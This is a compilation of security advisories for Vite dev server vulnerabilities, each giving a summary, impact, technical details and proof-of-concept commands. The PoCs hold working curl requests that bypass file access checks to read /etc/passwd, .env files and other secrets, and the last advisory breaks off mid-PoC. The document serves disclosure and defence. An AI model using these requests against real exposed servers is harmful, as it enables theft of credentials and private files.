CVE-2025-30208

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2025-31125

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

CVE-2025-31486

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

`.svg`

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

CVE-2025-32395

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)
running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@&#8203;fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

CVE-2025-46565

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

CVE-2025-58752

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

CVE-2025-58751

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
uses the public directory feature (enabled by default)
a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

GHSA-4w7w-66w2-5vf9

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

Create a minimal PoC sourcemap outside the project root

cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF

Start the Vite dev server (example)

pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

Confirm that direct /@fs access is blocked by strict (returns 403)
Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map

CVE-2026-39363

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

Start the dev server on the target
Example (used during validation with this repository):
```
pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
```
Confirm that access is blocked via the HTTP path (example: arbitrary file)
```
curl -i 'http://localhost:5173/@&#8203;fs/etc/passwd?raw'
```
Result: 403 Restricted (outside the allow list)
Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

GHSA-v2wj-q39q-566r

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
the sensitive file exists in the allowed directories specified by server.fs.allow
the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort
Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20
Confirm that the same files can be retrieved with query parameters (expect 200):
